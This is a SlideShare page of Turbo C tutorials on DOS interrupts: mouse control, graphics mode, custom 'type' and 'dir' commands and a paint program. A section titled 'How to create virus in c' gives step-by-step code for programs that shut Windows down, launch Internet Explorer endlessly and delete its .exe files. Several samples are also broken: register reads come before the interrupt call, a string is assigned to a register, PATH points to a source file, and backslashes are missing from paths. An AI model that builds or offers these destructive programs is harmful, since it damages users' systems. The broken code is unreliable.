Mouse programming in c

1,128 views
1,021 views

Published on

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
1,128
On SlideShare
0
From Embeds
0
Number of Embeds
2
Actions
Shares
0
Downloads
26
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

Mouse programming in c

  1. 1. Mouse programming in c(1) Write a c program which restricts the movement ofpointer?Answer://restrict the x and y coordinate#include <dos.h>#include <stdio.h>void main(){ union REGS i,o;//show mouse pointer i.x.ax=1; int86(0x33,&i,&o);//x coordinate restriction i.x.ax=7; i.x.cx=20; i.x.dx=300; int86(0x33,&i,&o);//y coordinate restriction i.x.ax=8; i.x.cx=50; i.x.dx=250; int86(0x33,&i,&o); getch();}(2) Write c program which display position of pointerin (x coordinate, y coordinate)?Answer:#include<dos.h>#include<stdio.h>void main(){ union REGS i,o; int x,y,k; //show mouse pointer i.x.ax=1; int86(0x33,&i,&o);while(!kbhit()) //its value will false when we hitkey in the key board { i.x.ax=3; //get mouse position x=o.x.cx; y=o.x.dx;
  2. 2. clrscr(); printf("(%d , %d)",x,y); delay(250); int86(0x33,&i,&o); } getch();#include <dos.h>#include <stdio.h>void main(){ union REGS i,o; i.x.ax=1; int86(0x33,&i,&o); getch();}Explanation: To write such program you must have oneinterrupt table. Following table is only small partof interrupt table.
  3. 3. To see complete interrupt table click here This table consists for column. They are:(1) Input(2) Output(3) Service number(4) Purpose Now look at the first row of interrupt table. To show the mouse pointer assign ax equal to 1 i.e. service number while ax is define in the WORDREGS struct WORDREGS { unsigned int ax, bx, cx, dx;
  4. 4. unsigned int si, di, cflag, flags;};And WORDRGS is define in the union REGSunion REGS {struct WORDREGS x;struct BYTEREGS h;};So to access the structure member ax first declare avariable of REGS i.e.REGS i, o;Note: We generally use i for input and o for outputTo access the ax write i.x.ax (We are using structurevariable i because ax is input(See in the interrupt table)So to show mouse pointer assign the value of servicenumber to it:i.x.ax=1;To provide this information to microprocessorwe use int86 function. It has three parameters1. Interrupt number i.e. 0x332. union REGS *inputregiste i.e. &i3. union REGS *outputregiste i.e. &o;
  5. 5. So write: int86 (0x33, &i, &o);How to create virus in c?Create simple virus by c programming language.(Only for study purpose)(1) Write c program which shutdown the windowoperating system?Answer:Step 1: Write the following program in TURBO C.void main (void){system("shutdown -s");}Step 2: Save the above file. Let file name is close.cStep 3: Only compile the above program.Step 4: Now close the turbo c compiler and open thatdirectory in window operating system where you havesaved the close.c (default directory c:tcbin)Step 5: Double click on its .exe file (close.exe)After some time your window operating system willshutdown.(2) Write a c program such that when we will click onits .exe file then it will open internet explorer atinfinite times?Answer:Step 1: Write the following program in TURBO C.void main (void){ for(; ;) { system("c:progra~1intern~1iexplore.exe"); }}Step 2: Save the above file. Let file name isinternet.cStep 3: Only compile the above program.Step 4: Now close the turbo c compiler and open thatdirectory in window operating system where you havesaved the internet.c (default directory c:tcbin)Step 5: Double click on its .exe file (internet.exe)
  6. 6. (3) Write a c program which delete the all the .exefile of internet explorer so that internet explorerwill not work?Answer:Step 1: Write the following program in TURBO C.void main(void){ system("cd c:progra~1intern~1"); system(“del *.exe”); system(“cls”);}Step 2: Save the above file. Let file name isdelete.cStep 3: Only compile the above program.Step 4: Now close the turbo c compiler and open thatdirectory in window operating system where you havesaved the delete.c (default directory c:tcbin)Step 5: Double click on its .exe file (delete.exe)How to create dos command in c?(1) Create a dos command: type by c program.Answer:Step 1: Write following code.#include <stdio.h>void main(int count,char * argv[]){ int i; FILE *ptr; char *str; char ch; if(count==1) { printf("The syntax of the command isincorrect.n"); } for(i=1;i<count;i++) { ptr=fopen(argv[i],"r"); if(ptr==NULL) { printf("The system cannot find the filespecified."); if(count>2)
  7. 7. printf("nError occurred while procesing :%s.n",argv[i]); } else { if(count>2) { printf("%snn",argv[i]); } while((ch=getc(ptr))!=-1) printf("%c",ch); } fclose(ptr); }}Step 2: Save the as open.c (You can give any name)Step 3: Compile and execute the file.Step 4: Write click on My computer of Window XPoperating system and select properties.Step 5: Select Advanced -> Environment VariablesStep 6: You will find following window:Click on new button (Button inside the red box)
  8. 8. Step 7: Write following:Variable name: pathVariable value: c:tcbinopen.c (the path where youhave saved)Step 8: Open command prompt and write open then filename and press enter button.Create dir command in cAnswer:Step 1: Write following code.#include <stdio.h>#include <dos.h>void main(int count,char *argv[]){
  9. 9. struct find_t q ;int a;if(count==1)argv[1]="*.*";a = _dos_findfirst(argv[1],1,&q);if(a==0){while (!a){printf(" %sn", q.name);a = _dos_findnext(&q);}}else{printf("File not found");}}Step 2: Save the as open.c (You can give any name)Step 3: Compile and execute the file.Step 4: Write click on My computer of Window XPoperating system and select properties.Step 5: Select Advanced -> Environment VariablesStep 6: You will find following window:Click on new button (Button inside the red box)
  10. 10. Step 7: Write following:Variable name: pathVariable value: c:tcbinopen.c (the path where youhave saved)
  11. 11. Step 8: Open command prompt and write list and pressenter buttonWrite the c program to switch the 256 color graphicsmode ?.Ans: #include<stdio.h>#include<dos.h>void main(){int x,y,b;union REGS i,o;i.h.ah=0;i.h.al=0x13;int86(0x10,&i,&o); getch();}Write a c program to create a directory in currentworking directory?Ans: #include<stdio.h>#include<dos.h>void main()
  12. 12. {union REGS i,o;i.h.ah=0x39;i.x.dx="ravan";int86(0x21,&i,&o); getch();}Write a c programming code to create simple paint brushsoftware.#include<dos.h>#include<stdio.h>#include<graphics.h>#include<stdlib.h>void main(){ int x,y,b,px,py,c,p,s,cl; int d=0,m; union REGS i,o; initgraph(&d,&m,"c:tc"); i.x.ax=1; int86(0x33,&i,&o); i.x.ax=8; i.x.cx=20; i.x.dx=450; int86(0x33,&i,&o); printf("Brush style insert number from 0 to 5 :"); scanf("%d",&p); printf("Brush size insert number from 1 to 7 :"); scanf("%d",&s); printf("Brush color insert number from 1 to 16 :"); scanf("%d",&cl); clrscr(); cleardevice(); printf("tt**********DRAW IMAGE************"); while(!kbhit()) { i.x.ax=3; b=o.x.bx;
  13. 13. x=o.x.cx; y=o.x.dx; px=x; py=y; int86(0x33,&i,&o); if(cl==16) { c=random(16); } else { c=cl; } setcolor(c); if(b==1) { i.x.ax=3; int86(0x33,&i,&o); x=o.x.cx; y=o.x.dx; b=o.x.bx; switch(p) { case 1:circle(px,py,s);break; case 2:ellipse(px,py,0,270,s,s+2);break; case 3:fillellipse(px,py,s+2,s);break; case 4:rectangle(px,py,x,y);break; case 5:sector(px,py,30,120,s,s);break; default:line(px,py,x,y); } } } getch(); restorecrtmode(); closegraph();}

×